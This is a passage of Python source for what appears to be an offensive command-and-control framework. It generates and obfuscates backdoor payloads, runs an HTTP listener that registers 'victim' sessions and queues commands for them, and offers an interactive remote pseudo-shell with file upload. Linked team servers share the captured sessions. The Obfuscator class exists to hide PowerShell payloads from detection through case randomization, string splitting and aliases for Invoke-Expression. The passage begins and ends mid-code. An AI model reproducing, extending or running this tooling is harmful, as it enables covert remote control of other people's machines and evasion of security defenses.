self.print_template_info(payload) del payload, template return # Check if the user supplied valid required arguments valid_args = self.check_required_args(payload.parameters, args_dict) if not valid_args: del payload, template return if payload.meta['handler'] == 'shakamura' or not Payload_Generator_Settings.validate_lhost_as_ip: self.parse_lhost(payload, args_dict["lhost"]) payload.parameters["lhost"] = args_dict["lhost"] if (not payload.parameters["lhost"] and (len(args_dict["lhost"]) < 255)) else payload.parameters["lhost"] else: self.parse_lhost(payload, args_dict["lhost"]) if not payload.parameters["lhost"]: print('Error parsing LHOST. Invalid IP or Interface.') return # Check for unrecognized arguments unrecognized_args = subtract_lists(args_dict, payload.parameters) unrecognized_boolean_args = subtract_lists(boolean_args, payload.attrs) else: print('Payload template not found.') return # Process payload template print(f'Generating backdoor payload...') if payload.meta['handler'] == 'shakamura': self.compute_shakamura(payload, args_dict) elif payload.meta['handler'] == 'netcat': self.compute_netcat(payload, args_dict) except: del payload, template print('Error parsing arguments. Check your input and try again.') return # Check suplied attributes payload.data = self.obfuscator.mask_payload(payload.data) if ('obfuscate' in boolean_args and 'obfuscate' in payload.attrs) else payload.data payload.data = self.encodeUTF16(payload.data) if ('encode' in boolean_args and 'encode' in payload.attrs) else payload.data # Print a message for each unsupported arguments in user input ignored = unrecognized_args + unrecognized_boolean_args print(f'Ignoring unsupported arguments: {(", ".join(ignored)).upper()}') if ignored else chill() # Print final payload print(f'{PLOAD}{payload.data}{END}') # Copy payload to clipboard try: copy2cb(payload.data) print(f'{ORANGE}Copied to clipboard!{END}') except: print(f'{RED}Copy to clipboard failed. You need to do it manually.{END}') # Disengage payload template del payload, template return def print_template_info(self, payload): info = ['\n'] try: info.append(f'{payload.info["Title"]}\n') info.append('\nRequired Arguments\n------------------') for key in payload.parameters.keys(): info.append(f'\n{key.upper()}\n') # if payload.config: # info.append('\nConfiguration\n-------------') # for key,val in payload.config.items(): # info.append(f'\n{key} : {val}\n') if payload.attrs: info.append('\nSupported Utilities\n-------------------\n') for key in payload.attrs.keys(): info.append(f'{key.upper()}\n') print(''.join(info) + '\n') except Exception as e: traceback.print_exc() print('Payload template exists but seems to have improper format.') class Obfuscator: def __init__(self): self.restricted_var_names = ['t', 'tr', 'tru', 'true', 'e', 'en', 'env'] self.used_var_names = [] def mask_char(self, char): path = randint(1,3) if char.isalpha(): if path == 1: return char return '\w' if path == 2 else f'({char}|\\?)' elif char.isnumeric(): if path == 1: return char return '\d' if path == 2 else f'({char}|\\?)' elif char in '!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~': if char in ['$^*\\+?']: char = '\\' + char if path == 1: return char return '\W' if path == 2 else f'({char}|\\?)' else: return None def randomize_case(self, string): return ''.join(choice((str.upper, str.lower))(c) for c in string) def string_to_regex(self, string): # First check if string is actually a regex if re.match( "^\[.*\}$", string): return string else: legal = False while not legal: regex = '' str_length = len(string) chars_used = 0 c = 0 while True: chars_left = (str_length - chars_used) if chars_left: pair_length = randint(1, chars_left) regex += '[' for i in range(c, pair_length + c): masked = self.mask_char(string[i]) regex += masked c += 1 chars_used += pair_length regex += ']{' + str(pair_length) + '}' else: break # Test generated regex if re.match(regex, string): legal = True return regex def concatenate_string(self, string): str_length = len(string) if str_length <= 1: return string concat = '' str_length = len(string) chars_used = 0 c = 0 while True: chars_left = (str_length - chars_used) if chars_left: pair_length = randint(1, chars_left) concat += "'" for i in range(c, pair_length + c): concat += string[i] c += 1 chars_used += pair_length concat = (concat + "'+") if (chars_used < str_length) else (concat + "'") else: break return concat def get_random_str(self, main_str, substr_len): index = randrange(1, len(main_str) - substr_len + 1) return main_str[index : (index + substr_len)] def obfuscate_cmdlet(self, main_str): main_str_length = len(main_str) substr_len = main_str_length - (randint(1, (main_str_length - 2))) sub = self.get_random_str(main_str, substr_len) sub_quoted = f"'{sub}'" obf_cmdlet = main_str.replace(sub, sub_quoted) return obf_cmdlet def get_rand_var_name(self): _max = randint(1,6) legal = False while not legal: obf = str(uuid4())[0:_max] if (obf in self.restricted_var_names) or (obf in self.used_var_names): continue else: self.used_var_names.append(obf) legal = True return obf def mask_payload(self, payload): # Obfuscate variable name definitions variables = re.findall("\$[A-Za-z0-9_]*={1}", payload) if variables: for var in variables: var = var.strip("=") obf = self.get_rand_var_name() payload = payload.replace(var, f'${obf}') # Randomize error variable name obf = self.get_rand_var_name() payload = payload.replace('-ErrorVariable e', f'-ErrorVariable {obf}') payload = payload.replace('$e+', f'${obf}+') # Obfuscate strings strings = re.findall(r"'(.+?)'", payload) if strings: for string in strings: if string in ['None', 'quit']: string = string.strip("'") concat = self.concatenate_string(string) payload = payload.replace(f"'{string}'", f'({concat})') elif string not in ['', ' ']: method = randint(0, 1) if method == 0: # String to regex _max = randint(3,8) random_string = str(uuid4())[0:_max] regex = self.string_to_regex(random_string) replace_obf = self.randomize_case('-replace') payload = payload.replace(f"'{string}'", f"$('{random_string}' {replace_obf} '{regex}','{string}')") elif method == 1: # Concatenate string submethod = randint(0, 1) string = string.strip("'") concat = self.concatenate_string(string) if submethod == 0: # return raw payload = payload.replace(f"'{string}'", concat) elif submethod == 1: # return call payload = payload.replace(f"'{string}'", f"$({concat})") # Randomize the case of each char in parameter names ps_parameters = re.findall("\s-[A-Za-z]*", payload) if ps_parameters: for param in ps_parameters: param = param.strip() rand_param_case = self.randomize_case(param) payload = payload.replace(param, rand_param_case) # Spontaneous replacements alternatives = { 'Invoke-WebRequest' : 'iwr', 'Invoke-Expression' : 'iex', 'Invoke-RestMethod' : 'irm' } for alt in alternatives.keys(): p = randint(0,1) if p == 0: payload = payload.replace(alt, alternatives[alt]) else: pass components = ['USERNAME', 'COMPUTERNAME', 'Out-String', 'Invoke-WebRequest', 'iwr', \ 'Stop', 'System.Text.Encoding', 'UTF8.GetBytes', 'sleep', 'Invoke-Expression', 'iex', \ 'Invoke-RestMethod', 'irm', 'Start-Process', 'Hidden', 'add-type'] # Randomize char case of specified components for i in range(0, len(components)): rand_case = self.randomize_case(components[i]) payload = payload.replace(components[i], rand_case) components[i] = rand_case # Obfuscate specified components for i in range(0, len(components)): if (components[i].count('.') == 0) and components[i].lower() not in ['while', 'username', 'computername']: obf_cmdlet = self.obfuscate_cmdlet(components[i]) payload = payload.replace(components[i], obf_cmdlet) self.used_var_names = [] return payload class Sessions_Manager: active_sessions = {} legit_session_ids = {} sessions_graveyard = [] aliases = [] # Shakamura verify = [] get_cmd = [] post_res = [] # Load past generated legit session payload details (if beacon is still alive they may be re-establish) past_generated_sessions = Shakamura_Implants_Logger.retrieve_past_sessions_data() if past_generated_sessions: sessions_data = literal_eval(past_generated_sessions) for id in sessions_data.keys(): legit_session_ids[id] = sessions_data[id] h = id.split('-') verify.append(h[0]) get_cmd.append(h[1]) post_res.append(h[2]) del sessions_data del past_generated_sessions def repair(self, session_id, key, new_val): key = 'Computername' if key == 'hostname' else key key = key.capitalize() if key == 'username' else key valid = self.repair_val_check(new_val) if valid == 0: try: self.active_sessions[session_id][key] = new_val Core_Server.broadcast({session_id : {key : new_val}}, 'repair') return 0 except: return ['Failed to repair value.'] else: return valid def repair_val_check(self, value): if value[0] == '-': return [f'Value cannot begin with a hyphen.'] length = len(value) if length >= 2 and length <= 15: valid = ascii_uppercase + ascii_lowercase + '-' + digits for char in value: if char not in valid: return [f'Value includes illegal character: "{char}".'] return 0 else: return ['length must be between 2 to 15 characters.'] def list_sessions(self): if self.active_sessions.keys(): print('\r') table = self.sessions_dict_to_list() print_table(table, ['Session ID', 'IP Address', 'OS Type', 'User', 'Owner', 'Status']) print('\r') else: print(f'No active sessions.') def list_backdoors(self): if self.active_sessions.keys(): print('\r') table = self.sessions_dict_to_list() print_table(table, ['Session ID', 'IP Address', 'Shell', 'Listener', 'Stability', 'Status']) print('\r') else: print(f'No active sessions.') def sessions_dict_to_list(self): sessions_list = [] active_sessions_clone = deepcopy(self.active_sessions) for session_id in active_sessions_clone.keys(): tmp = active_sessions_clone[session_id] corrupted = 0 try: tmp['Session ID'] = session_id if not tmp['aliased'] else tmp['alias'] tmp['Owner'] = 'Self' if tmp['self_owned'] \ else Core_Server.sibling_servers[self.return_session_attr_value(session_id, 'Owner')]['Hostname'] tmp['User'] = f"{tmp['Computername']}\\{tmp['Username']}" if tmp['OS Type'] == 'Windows' \ else f"{tmp['Username']}@{tmp['Computername']}" sessions_list.append(tmp) except KeyError: corrupted += 1 if corrupted: print(f'\r[{WARN}] {corrupted} x Corrupted session data entries omitted.') print(f'[{WARN}] Possible reason: Incomplete payload execution on victim.\n') del active_sessions_clone, tmp return sessions_list @staticmethod def return_session_attr_value(session_id, attr): if session_id in Sessions_Manager.active_sessions.keys(): return Sessions_Manager.active_sessions[session_id][attr] else: return None @staticmethod def alias_to_session_id(alias): active_sessions_clone = deepcopy(Sessions_Manager.active_sessions) active_sessions = active_sessions_clone.keys() sid = False if alias in active_sessions: sid = alias else: for session_id in active_sessions: if active_sessions_clone[session_id]['aliased']: if active_sessions_clone[session_id]['alias'] == alias: sid = session_id break del active_sessions_clone, active_sessions return sid @staticmethod def sessions_check(session_id = False): sessions = Sessions_Manager.active_sessions.keys() if not sessions: return [False, '\rNo active sessions.'] elif session_id not in sessions: return [False, '\rInvalid session ID.'] return [True] def kill_session(self, session_id): if session_id in self.active_sessions.keys(): if self.active_sessions[session_id]['Owner'] == Core_Server.SERVER_UNIQUE_ID: self.sessions_graveyard.append(session_id) #if self.active_sessions[session_id]['Status'] != 'Lost': Shakamura.dropSession(session_id) if self.active_sessions[session_id]['Listener'] == 'shakamura': sleep(self.active_sessions[session_id]['frequency']) session_id_components = session_id.split('-') Sessions_Manager.verify.remove(session_id_components[0]) Sessions_Manager.get_cmd.remove(session_id_components[1]) Sessions_Manager.post_res.remove(session_id_components[2]) self.active_sessions.pop(session_id, None) #self.legit_session_ids.pop(session_id, None) del Shakamura.command_pool[session_id] print(f'[{INFO}] Session terminated.') Core_Server.announce_session_termination({'session_id' : session_id}) else: print(f'[{ERR}] Permission denied. This session is owned by a sibling server.') else: print('Session id not found in active sessions.') # -------------- Shakamura Server -------------- # class Shakamura(BaseHTTPRequestHandler): server_name = f'-[{GREEN} Shakamura Multi-Handler {END}]-' header_id = Shakamura_Settings._header server_unique_id = None command_pool = {} # Shell active_shell = None prompt_ready = False afric_prompt = None @staticmethod def set_shell_prompt_ready(): Shakamura.prompt_ready = True @staticmethod def search_output_for_signature(output): try: sibling_server_id = re.findall("{[a-zA-Z0-9]{32}}", output)[-1].strip("{}") except: sibling_server_id = None return sibling_server_id def cmd_output_interpreter(self, session_id, output, constraint_mode = False): payload_type = Sessions_Manager.legit_session_ids[session_id]['payload_type'] try: if constraint_mode: output = output.decode('utf-8', 'ignore').strip() if re.search('cmd-curl', payload_type): try: output = output.split('\n', 1)[1] except: output = None else: try: bin_output = output.decode('utf-8').split(' ') to_b_numbers = [ int(n) for n in bin_output ] b_array = bytearray(to_b_numbers) output = b_array.decode('utf-8', 'ignore') except ValueError: output = None # Check if command was issued by a sibling server sibling_signature = Shakamura.search_output_for_signature(output) if sibling_signature: output = output.replace('{' + sibling_signature + '}', '') except UnicodeDecodeError: print(f'[{WARN}] Decoding data to UTF-8 failed. Printing raw data.') if output: if isinstance(output, str): output = output.strip() + '\n' if output.strip() != '' else output.strip() elif isinstance(output, bytes): output = str(output) return output if not sibling_signature else [sibling_signature, output] @staticmethod def activate_pseudo_shell_session(session_id, os_type): session_data = Sessions_Manager.active_sessions[session_id] is_remote_shell = True if not session_data['self_owned'] else False prompt = session_data['prompt'] shell_type = session_data['Shell'] listener = session_data['Listener'] if is_remote_shell: # Get the shell session owner's sibling ID session_owner_id = Sessions_Manager.return_session_attr_value(session_id, 'Owner') # Request the latest prompt value from the session owner current_prompt_val = Core_Server.request_prompt_value(session_id) if current_prompt_val: prompt = Sessions_Manager.active_sessions[session_id]['prompt'] = current_prompt_val[1] hostname = session_data['Computername'] uname = session_data['Username'] # Define prompt value: if prompt: Shakamura.afric_prompt = prompt else: Shakamura.afric_prompt = (hostname + '\\' + uname + '> ') if os_type == 'Windows' else f'{uname}@{hostname}: ' Shakamura.active_shell = session_id Shakamura.prompt_ready = True # Print pseudo-shell info activation_msg = f'{BLUE} -[ Interactive pseudo-shell activated. ]-{END}\n -[ Press Ctrl + C or type "exit" to deactivate ]-\n' stable = True if Sessions_Manager.return_session_attr_value(session_id, 'Stability') == 'Stable' else False if not stable: print(f'\n{BOLD}This session is unstable. Consider running a socket-based rshell process in it{END}.') print(f'\n{activation_msg}' if stable else activation_msg) # Pseudo shell try: while Shakamura.active_shell: if Shakamura.prompt_ready: user_input = input(Shakamura.afric_prompt) user_input_clean = re.sub(' +', ' ', user_input).strip() cmd_list = user_input_clean.split(' ') cmd_list[0] = cmd_list[0].lower() if cmd_list[0] == 'clear': os.system('clear') elif cmd_list[0] == 'upload': Shakamura.prompt_ready = False file_path = os.path.expanduser(cmd_list[1]) if session_id in Sessions_Manager.active_sessions.keys(): # Check if file exists if os.path.isfile(file_path): # Get file contents file_contents = get_file_contents(file_path) if file_contents: # Check who is the owner of the shell session session_owner_id = Sessions_Manager.return_session_attr_value(session_id, 'Owner') if session_owner_id == Core_Server.return_server_uniq_id(): File_Smuggler.upload_file(file_contents, cmd_list[2], session_id) else: Core_Server.send_receive_one_encrypted(session_owner_id, [file_contents, cmd_list[2], session_id], 'upload_file') else: print(f'\r[{ERR}] file {file_path} not found.') Shakamura.set_shell_prompt_ready() elif cmd_list[0] in ['exit', 'quit']: raise KeyboardInterrupt elif cmd_list[0] == 'cmdinspector': try: option = cmd_list[1] except: option = '' if option in ['on', 'off']: if option == 'off': Session_Defender.is_active = False elif option == 'on': Session_Defender.is_active = True print(f'Session Defender is turned {option}.') else: print('Value can be on or off.') elif user_input == '': continue elif user_input in Core_Server.requests.keys(): Core_Server.requests[user_input] = True # Run as shell command else: if Shakamura.active_shell: Shakamura.prompt_ready = False # Invoke Session Defender to inspect the command for dangerous input dangerous_input_detected = False if Session_Defender.is_active: dangerous_input_detected = Session_Defender.inspect_command(Sessions_Manager.active_sessions[session_id]['OS Type'], user_input) if dangerous_input_detected: Session_Defender.print_warning() else: # Wrap stderr if shell ==unix if shell_type == 'unix' and listener == 'shakamura': user_input = Exec_Utils.unix_stderr_wrapper(user_input) # Append command for execution if is_remote_shell: print('\r', end = '') Core_Server.proxy_cmd_for_exec_by_sibling(session_owner_id, session_id, user_input) else: Shakamura.command_pool[Shakamura.active_shell].append(user_input) else: print(f'\rNo active session.') else: sleep(0.1) continue else: raise KeyboardInterrupt except KeyboardInterrupt: Shakamura.command_pool[Shakamura.active_shell] = [] print('\r') Shakamura.deactivate_shell() @staticmethod def deactivate_shell(): Shakamura.active_shell = None Shakamura.prompt_ready = False Shakamura.afric_prompt = None Main_prompt.ready = True @staticmethod def rst_shell_prompt(prompt = ' > ', prefix = '\r'): Shakamura.prompt_ready = True sys.stdout.write(prefix + Shakamura.afric_prompt + global_readline.get_line_buffer()) def do_GET(self): timestamp = int(datetime.now().timestamp()) # Identify session if not Shakamura.header_id: header_id_extract = [header.replace("X-", "") for header in self.headers.keys() if re.match("X-[a-z0-9]{4}-[a-z0-9]{4}", header)] Shakamura.header_id = f'X-{header_id_extract[0]}' try: session_id = self.headers.get(Shakamura.header_id) except: session_id = None if session_id and (session_id not in Sessions_Manager.active_sessions.keys()): if session_id in Sessions_Manager.legit_session_ids.keys(): h = session_id.split('-') Sessions_Manager.verify.append(h[0]) Sessions_Manager.get_cmd.append(h[1]) Sessions_Manager.post_res.append(h[2]) Sessions_Manager.active_sessions[session_id] = { 'IP Address' : self.client_address[0], 'Port' : self.client_address[1], 'execution_verified' : False, 'Status' : 'Active', 'last_received' : timestamp, 'OS Type' : Sessions_Manager.legit_session_ids[session_id]['OS Type'], 'frequency' : Sessions_Manager.legit_session_ids[session_id]['frequency'], 'Owner' : Shakamura.server_unique_id, 'self_owned' : True, 'aliased' : False, 'alias' : None, 'Listener' : 'shakamura', 'Shell' : Sessions_Manager.legit_session_ids[session_id]['Shell'], 'iface' : Sessions_Manager.legit_session_ids[session_id]['iface'], 'prompt' : None, 'Stability' : 'Unstable' } Shakamura.command_pool[session_id] = [] elif session_id and (session_id in Sessions_Manager.active_sessions.keys()): Sessions_Manager.active_sessions[session_id]['last_received'] = timestamp elif not session_id: return self.server_version = Shakamura_Settings.server_version self.sys_version = "" session_id = self.headers.get(Shakamura.header_id) legit = True if session_id in Sessions_Manager.legit_session_ids.keys() else False # Verify execution # url_split = self.path.strip("/").split("/") # if url_split[0] in Shakamura.verify and legit: url_split = self.path.strip("/").split("/") if (url_split[0] in Sessions_Manager.verify and legit) or \ (legit and session_id in Sessions_Manager.active_sessions and not Sessions_Manager.active_sessions[session_id]['execution_verified']): if Sessions_Manager.active_sessions[session_id]['execution_verified']: print_to_prompt(f'\r[{INFO}] Received "Verify execution" request from an already established session (ignored).') return self.send_response(200) self.send_header('Content-type', 'text/javascript; charset=UTF-8') self.send_header('Access-Control-Allow-Origin', '*') self.end_headers() self.wfile.write(bytes('OK', "utf-8")) Sessions_Manager.active_sessions[session_id]['execution_verified'] = True try: Sessions_Manager.active_sessions[session_id]['Computername'] = url_split[1] Sessions_Manager.active_sessions[session_id]['Username'] = url_split[2] except IndexError: Sessions_Manager.active_sessions[session_id]['Computername'] = 'Undefined' Sessions_Manager.active_sessions[session_id]['Username'] = 'Undefined' print_to_prompt(f'\r[{GREEN}Shell{END}] Backdoor session established on {ORANGE}{self.client_address[0]}{END}') try: Thread(target = self.monitor_shell_state, args = (session_id,), name = f'session_state_monitor_{self.client_address[0]}', daemon = True).start() except: pass new_session_data = deepcopy(Sessions_Manager.active_sessions[session_id]) new_session_data['session_id'] = session_id new_session_data['alias'] = None new_session_data['aliased'] = False new_session_data['self_owned'] = False Core_Server.announce_new_session(new_session_data) del new_session_data # Grab cmd elif self.path.strip("/") in Sessions_Manager.get_cmd and legit: self.send_response(200) self.send_header('Content-type', 'text/javascript; charset=UTF-8') self.send_header('Access-Control-Allow-Origin', '*') self.end_headers() if len(Shakamura.command_pool[session_id]): shakamura_issued_cmd = False cmd = Shakamura.command_pool[session_id].pop(0) # Check command type: # type str = normal # type dict = Shakamura issued cmd if isinstance(cmd, dict): # shakamura_issued_cmd = True # quiet = cmd['quiet'] cmd = cmd['data'] self.wfile.write(bytes(cmd, 'utf-8')) else: self.wfile.write(bytes('None', 'utf-8')) Sessions_Manager.active_sessions[session_id]['last_received'] = timestamp return else: self.send_response(200) self.end_headers() self.wfile.write(b'exit 1') # kills crippled shakamura sessions that continue to spam requests pass def do_POST(self): timestamp = int(datetime.now().timestamp()) session_id = self.headers.get(self.header_id) legit = True if (session_id in Sessions_Manager.legit_session_ids.keys()) else False if legit: try: Sessions_Manager.active_sessions[session_id]['last_received'] = timestamp self.server_version = Shakamura_Settings.server_version self.sys_version = "" # cmd output if self.path.strip("/") in Sessions_Manager.post_res and legit and\ session_id in Sessions_Manager.active_sessions.keys(): try: self.send_response(200) self.send_header('Content-Type', 'text/plain') self.end_headers() self.wfile.write(b'OK') content_len = int(self.headers.get('Content-Length')) output = self.rfile.read(content_len) output = self.cmd_output_interpreter(session_id, output, constraint_mode = Sessions_Manager.legit_session_ids[session_id]['constraint_mode']) if not isinstance(output, int): if isinstance(output, str): # Dirty patch to suppress error messages when re-establishing sessions (may occur due to bad synchronization). if re.search("The term 'OK' is not recognized as the name of a cmdlet, function, script file", output): return print(f'\r{GREEN}{output}{END}') if output else chill() Main_prompt.set_main_prompt_ready() if not self.active_shell else Shakamura.set_shell_prompt_ready() elif isinstance(output, list): if not isinstance(output[1], int): try: Core_Server.send_receive_one_encrypted(output[0], [f'{GREEN}{output[1]}{END}', None, session_id, True], 'command_output', 30) except: pass except ConnectionResetError: error_msg = f'[{ERR}] There was an error reading the response, most likely because of the size (Content-Length: {self.headers.get("Content-Length")}). Try limiting the command\'s output.' if isinstance(output, str): print(error_msg) Main_prompt.set_main_prompt_ready() if not self.active_shell else Shakamura.set_shell_prompt_ready() elif isinstance(output, list): try: Core_Server.send_receive_one_encrypted(output[0], [error_msg, None, session_id, True], 'command_output', 30) except: pass del error_msg del output except KeyError: pass else: self.send_response(200) self.end_headers() self.wfile.write(b'Move on mate.') pass def do_OPTIONS(self): self.server_version = Shakamura_Settings.server_version self.sys_version = "" self.send_response(200) self.send_header('Access-Control-Allow-Origin', self.headers["Origin"]) self.send_header('Vary', "Origin") self.send_header('Access-Control-Allow-Credentials', 'true') self.send_header('Access-Control-Allow-Headers', Shakamura_Settings.header_id) self.end_headers() self.wfile.write(b'OK') def log_message(self, format, *args): return @staticmethod def dropSession(session_id): os_type = Sessions_Manager.active_sessions[session_id]['OS Type'] outfile = Sessions_Manager.legit_session_ids[session_id]['exec_outfile'] if Sessions_Manager.active_sessions[session_id]['Listener'] == 'shakamura': exit_command = 'stop-process $PID' if os_type == 'Windows' else 'echo byee' if Sessions_Manager.active_sessions[session_id]['Shell'] == 'cmd.exe': Shakamura.command_pool[session_id].append({'data' : 'exit', 'issuer' : 'self', 'quiet' : True}) elif (os_type == 'Windows' and not outfile) or os_type == 'Linux': Shakamura.command_pool[session_id].append({'data' : exit_command, 'issuer' : 'self', 'quiet' : True}) elif os_type == 'Windows' and outfile: Shakamura.command_pool[session_id].append({'data' : 'quit', 'issuer' : 'self', 'quiet' : True}) elif Sessions_Manager.active_sessions[session_id]['Listener'] == 'netcat': Shakamura.command_pool[session_id].append({'data' : 'exit', 'issuer' : 'self', 'quiet' : True}) @staticmethod def terminate(): active_sessions_clone = deepcopy(Sessions_Manager.active_sessions) active_sessions = active_sessions_clone.keys() if active_sessions: print(f'\r[{INFO}] Terminating self-owned active sessions - DO NOT INTERRUPT...') for session_id in active_sessions: try: if Sessions_Manager.active_sessions[session_id]['Owner'] == Core_Server.SERVER_UNIQUE_ID: Sessions_Manager.sessions_graveyard.append(session_id) Shakamura.dropSession(session_id) #Core_Server.announce_session_termination({'session_id' : session_id}) except: continue sleep(2) print(f'\r[{INFO}] Sessions terminated.') else: sys.exit(0) def monitor_shell_state(self, session_id): Threading_params.thread_limiter.acquire() while True: if session_id in Sessions_Manager.active_sessions.keys(): if session_id in Sessions_Manager.sessions_graveyard and \ session_id not in Sessions_Manager.active_sessions.keys(): break timestamp = int(datetime.now().timestamp()) tlimit = (Sessions_Manager.active_sessions[session_id]['frequency'] + Sessions_manager_settings.shell_state_change_after) last_received = Sessions_Manager.active_sessions[session_id]['last_received'] time_difference = abs(last_received - timestamp) current_status = Sessions_Manager.active_sessions[session_id]['Status'] if (time_difference >= tlimit) and current_status == 'Active': Sessions_Manager.active_sessions[session_id]['Status'] = 'Undefined' Core_Server.announce_shell_session_stat_update({ 'session_id' : session_id, 'Status' : Sessions_Manager.active_sessions[session_id]['Status'] }) elif (time_difference < tlimit) and current_status == 'Undefined': Sessions_Manager.active_sessions[session_id]['Status'] = 'Active' Core_Server.announce_shell_session_stat_update({'session_id' : session_id, 'Status' : Sessions_Manager.active_sessions[session_id]['Status'] }) sleep(Shakamura_Settings.monitor_shell_state_freq) else: Threading_params.thread_limiter.release() return def initiate_afric_server(): try: # Check if both cert and key files were provided if (Shakamura_Settings.certfile and not Shakamura_Settings.keyfile) or \ (Shakamura_Settings.keyfile and not Shakamura_Settings.certfile): exit(f'[{DEBUG}] SSL support seems to be misconfigured (missing key or cert file).') # Start http server port = Shakamura_Settings.bind_port if not Shakamura_Settings.ssl_support else Shakamura_Settings.bind_port_ssl try: httpd = HTTPServer((Shakamura_Settings.bind_address, port), Shakamura) except OSError: exit(f'[{DEBUG}] {Shakamura.server_name} failed to start. Port {port} seems to already be in use.\n') except: exit(f'\n[{DEBUG}] {Shakamura.server_name} failed to start (Unknown error occurred).\n') if Shakamura_Settings.ssl_support: httpd.socket = ssl.wrap_socket ( httpd.socket, keyfile = Shakamura_Settings.keyfile, certfile = Shakamura_Settings.certfile, server_side = True, ssl_version=ssl.PROTOCOL_TLS ) Shakamura_server = Thread(target = httpd.serve_forever, args = (), name = 'shakamura_server') Shakamura_server.daemon = True Shakamura_server.start() registered_services.append({ 'service' : Shakamura.server_name, 'socket' : f'{ORANGE}{Shakamura_Settings.bind_address}{END}:{RED}{port}{END}' }) print(f'[{ORANGE}{Shakamura_Settings.bind_address}{END}:{RED}{port}{END}]::{Shakamura.server_name}') except KeyboardInterrupt: Shakamura.terminate() class Core_Server: server_name = f'-[{GREEN} Team Server {END}]-' acknowledged_servers = [] sibling_servers = {} requests = {} SERVER_UNIQUE_ID = str(uuid4()).replace('-', '') HOSTNAME = socket.gethostname() listen = True ping_sibling_servers = False CONNECT_SYN = b'\x4f\x86\x2f\x7b' CONNECT_ACK = b'\x5b\x2e\x42\x6d' CONNECT_DENY = b'\x3c\xc3\x86\xde' core_initialized = None @staticmethod def return_server_uniq_id(): return Core_Server.SERVER_UNIQUE_ID def sock_handler(self, conn, address): try: Threading_params.thread_limiter.acquire() raw_data = Core_Server.recv_msg(conn) str_data = '' rst_prompt = False # There are 3 predefined byte sequences for processing a sibling server's request # to connect (something like a TCP handshake but significantly more stupid). # Check if raw_data is a connection request if raw_data in [self.CONNECT_SYN, self.CONNECT_DENY]: if raw_data == self.CONNECT_SYN: # Spam filter if address[0] in self.acknowledged_servers: Core_Server.send_msg(conn, self.CONNECT_DENY) conn.close() return request_id = ''.join(["{}".format(randint(0, 9)) for num in range(0, 4)]) self.requests[request_id] = False if Core_Server_Settings.insecure: self.acknowledged_servers.append(address[0]) Core_Server.send_msg(conn, self.CONNECT_ACK) else: print(f"\r[{INFO}] Received request to connect from {ORANGE}{address[0]}{END}") print_to_prompt(f"\r[{INFO}] Type {ORANGE}{request_id}{END} and press ENTER to accept. You have 10 seconds.") timeout_start = time() while time() < timeout_start + 10: if self.requests[request_id]: self.acknowledged_servers.append(address[0]) Core_Server.send_msg(conn, self.CONNECT_ACK) break sleep(0.1) else: Core_Server.send_msg(conn, self.CONNECT_DENY) conn.close() print_to_prompt(f"\r[{INFO}] Request to connect with {ORANGE}{address[0]}{END} denied.") del self.requests[request_id] return # If the sender's IP address is in the list of acknowledged for connection servers and the msg is a valid UUID4, then establish connection elif address[0] in self.acknowledged_servers: str_data = raw_data.decode('utf-8', 'ignore').strip() # Try to interpret the clear text data try: tmp = str_data.split(':') sibling_id = tmp[0] sibling_server_port = tmp[1] sibling_server_hostname = tmp[2] except: sibling_id = None if is_valid_uuid(sibling_id): self.sibling_servers[sibling_id] = {'Hostname' : sibling_server_hostname, 'Server IP' : address[0], 'Server Port' : int(sibling_server_port), 'Status' : 'Active'} Core_Server.send_msg(conn, f'{self.SERVER_UNIQUE_ID}:{self.HOSTNAME}'.encode("utf-8")) self.acknowledged_servers.remove(address[0]) # Synchronize all servers self.synchronize_sibling_servers(initiator = False) return else: # Check if connection is coming from an acknowledged sibling server server_is_sibling = sibling_id = False if self.sibling_servers.keys(): server_is_sibling = sibling_id = self.server_is_sibling(address[0]) # If the packet is coming from a sibling then it's encrypted and "encapsulated" if server_is_sibling: # AES KEY is the recipient sibling server's ID and IV is the 16 first bytes of the (local host) server's ID decrypted_data = self.decrypt_encapsulated_msg(sibling_id, raw_data) # returns [capsule, received_data] if decrypted_data[0] == 'synchronize_sibling_servers_table': self.update_siblings_data_table(decrypted_data[1]) # Return local sibling servers data sibling_servers_data_local = str(self.encapsulate_dict(self.sibling_servers, decrypted_data[0])) encrypted_siblings_data = encrypt_msg(self.SERVER_UNIQUE_ID.encode('utf-8'), sibling_servers_data_local, sibling_id[0:16].encode('utf-8')) Core_Server.send_msg(conn, encrypted_siblings_data) elif decrypted_data[0] == 'synchronize_sibling_servers_shells': self.update_shell_sessions(decrypted_data[1]) # Return local sibling servers data sibling_servers_shells = str(self.encapsulate_dict(Sessions_Manager.active_sessions, decrypted_data[0])) encrypted_siblings_data = encrypt_msg(self.SERVER_UNIQUE_ID.encode('utf-8'), sibling_servers_shells, sibling_id[0:16].encode('utf-8')) Core_Server.send_msg(conn, encrypted_siblings_data) elif decrypted_data[0] == 'exec_command': data = decrypted_data[1] # Check if session exists if data['session_id'] in Sessions_Manager.active_sessions.keys(): Shakamura.command_pool[data['session_id']].append(data['command']) Core_Server.send_msg(conn, self.response_ack(sibling_id)) elif decrypted_data[0] == 'command_output': prompt_value = decrypted_data[1][1] session_id = decrypted_data[1][2] prompt_ready = decrypted_data[1][3] if decrypted_data[1][0] == 'Awaiting for response reached the defined timeout.': print(f'\r{ORANGE}{decrypted_data[1][0]}{END}') else: # ansi_detected = ansi_codes_detected(decrypted_data[1][0]) #print(f'{GREEN}{decrypted_data[1][0]}{END}', end = '') if os_type == 'Windows' else print(f'{decrypted_data[1][0]}', end = '') print(f'{decrypted_data[1][0]}', end = '') if prompt_value: Sessions_Manager.active_sessions[session_id]['prompt'] = prompt_value if Shakamura.active_shell == session_id: Shakamura.afric_prompt = prompt_value Core_Server.send_msg(conn, self.response_ack(sibling_id)) if prompt_ready: print('\r') restore_prompt() elif decrypted_data[0] == 'active_shell_query': response = str(self.encapsulate_dict(Shakamura.active_shell, 'session_id')) response_encypted = encrypt_msg(self.SERVER_UNIQUE_ID.encode('utf-8'), response, sibling_id[0:16].encode('utf-8')) Core_Server.send_msg(conn, response_encypted) elif decrypted_data[0] == 'prompt_value_query': response = str(self.encapsulate_dict(Sessions_Manager.active_sessions[decrypted_data[1]]['prompt'], 'prompt_value')) response_encypted = encrypt_msg(self.SERVER_UNIQUE_ID.encode('utf-8'), response, sibling_id[0:16].encode('utf-8')) Core_Server.send_msg(conn, response_encypted) elif decrypted_data[0] == 'notification': print(f'\r{decrypted_data[1]}') Core_Server.send_msg(conn, self.response_ack(sibling_id)) restore_prompt() elif decrypted_data[0] == 'repair': session_id = list(decrypted_data[1].keys())[0] if session_id in 